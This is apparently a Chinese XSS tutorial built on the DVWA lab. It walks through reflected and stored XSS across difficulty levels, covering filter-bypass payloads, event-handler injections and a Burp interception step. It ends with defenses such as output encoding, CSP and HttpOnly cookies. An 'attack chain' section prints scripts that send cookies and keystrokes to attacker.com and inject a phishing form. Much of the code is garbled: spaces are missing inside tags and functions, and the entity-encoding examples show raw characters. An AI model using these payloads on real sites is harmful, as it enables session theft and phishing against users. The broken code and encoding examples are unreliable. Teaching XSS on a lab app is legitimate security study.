XSS类型概述
三种XSS类型:
- 反射型:最常见,非持久化
- 存储型:最危险,持久化存储
- DOM型:基于前端JavaScript,本文不涉及
反射型XSS(Reflected XSS)
标准测试Payload
<script>alert(1)</script><script>alert('XSS')</script>单引号和双引号都可以使用。
漏洞识别
测试流程:
1. 输入框输入: zengjun 2. 页面返回: Hello zengjun 3. 查看源代码: <pre>Hello zengjun</pre> 4. 观察输入点位置和闭合方式判断标准:用户输入直接反映在HTML中。
Low级别攻击
Payload:
zeng<script>alert('XSS')</script>jun原理:
<!-- 后端代码 --><?php $name = $_GET['name']; echo "<pre>Hello " . $name . "</pre>"; ?><!-- 渲染结果 --><pre>Hello zeng<script>alert('XSS')</script>jun</pre>浏览器解析HTML时会执行<script>标签中的JavaScript代码。
Medium级别绕过
防护代码:
$name=str_replace('<script>','',$_GET['name']);绕过方法1:双写绕过
<sc<script>ript>alert(1)</script>原理:
输入: <sc<script>ript>alert(1)</script> 过滤: <sc ript>alert(1)</script> (中间的<script>被删除) 结果: <script>alert(1)</script>绕过方法2:大小写绕过
<sCRipt>alert(1)</script><SCRIPT>alert(1)</SCRIPT>原理:HTML不区分标签大小写,但str_replace区分。
High级别绕过
防护代码:
$name=preg_replace('/<script\b[^>]*>(.*?)<\/script>/is',"",$_GET['name']);使用正则表达式过滤所有<script>标签(包括大小写和嵌套)。
绕过方法:利用其他HTML事件
<imgsrc='x'onerror='alert(1)'/>原理:
src='x'- 图片路径不存在,加载失败onerror- 加载失败时触发事件- 执行JavaScript代码
其他可用事件:
<imgsrc='x'onmouseover='alert(1)'/><!-- 鼠标悬停 --><imgsrc='x'onmousedown='alert(1)'/><!-- 鼠标按下 --><imgsrc='x'onmouseup='alert(1)'/><!-- 鼠标松开 --><bodyonload='alert(1)'><!-- 页面加载 --><inputonfocus='alert(1)'><!-- 获得焦点 -->Impossible级别(完美防护)
<?php$name=htmlspecialchars($_GET['name']);?>htmlspecialchars()函数:
< 转换为 < > 转换为 > " 转换为 " ' 转换为 ' & 转换为 &效果:所有HTML标签都被转义为实体编码,作为纯文本显示。
输入:<script>alert(1)</script>输出:<script>alert(1)</script>显示:<script>alert(1)</script>(纯文本,不执行)存储型XSS(Stored XSS)
危害分析
为什么更危险:
- 持久化存储:保存在数据库中
- 影响范围广:所有访问者都会中招
- 隐蔽性强:不需要诱导点击
常见场景:
- 在线留言板
- 论坛评论
- 用户资料页
- 直播弹幕
Low级别攻击
测试步骤:
Name: xiaoli Message: <script>alert('Stored XSS')</script> 点击Sign Guestbook效果:每个访问留言板的用户都会触发弹窗。
后端代码:
<?php$name=$_POST['txtName'];$message=$_POST['mtxMessage'];$query="INSERT INTO guestbook (name, comment) VALUES ('$name', '$message')";mysqli_query($conn,$query);?>完全没有过滤,直接存入数据库。
Medium级别绕过
防护代码:
$name=strip_tags($_POST['txtName']);// 移除HTML标签$message=$_POST['mtxMessage'];// 留言板不过滤问题:
- Name字段有字符长度限制(前端)
- Message字段无过滤
绕过方法:抓包修改
1. 输入任意内容并提交 2. Burp Suite抓包 3. 修改Name字段: txtName=<sc<script>ript>alert(1)</script> 4. Forward放行High级别绕过
防护代码:
$name=preg_replace('/<script\b[^>]*>(.*?)<\/script>/is','',$_POST['txtName']);$message=preg_replace('/<script\b[^>]*>(.*?)<\/script>/is','',$_POST['mtxMessage']);绕过方法:
<imgsrc='x'onerror='alert(1)'/>在Name字段通过抓包修改即可。
XSS攻击链
完整攻击流程:
// 1. 窃取Cookie<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>// 2. 键盘记录<script>document.onkeypress=function(e){fetch('http://attacker.com/log.php?key='+e.key);}</script>// 3. 网络钓鱼<script>document.body.innerHTML='<form action="http://attacker.com/phish.php">...';</script>XSS防护完整方案
输入验证:
// 白名单验证if(!preg_match('/^[a-zA-Z0-9_]+$/',$input)){die("非法字符");}输出编码:
// HTML上下文echohtmlspecialchars($input,ENT_QUOTES,'UTF-8');// JavaScript上下文echojson_encode($input);// URL上下文echourlencode($input);Content Security Policy:
<metahttp-equiv="Content-Security-Policy"content="default-src'self'; script-src'self'">HttpOnly Cookie:
setcookie('session',$value,['httponly'=>true,// 防止JavaScript访问'secure'=>true,// 仅HTTPS传输'samesite'=>'Strict']);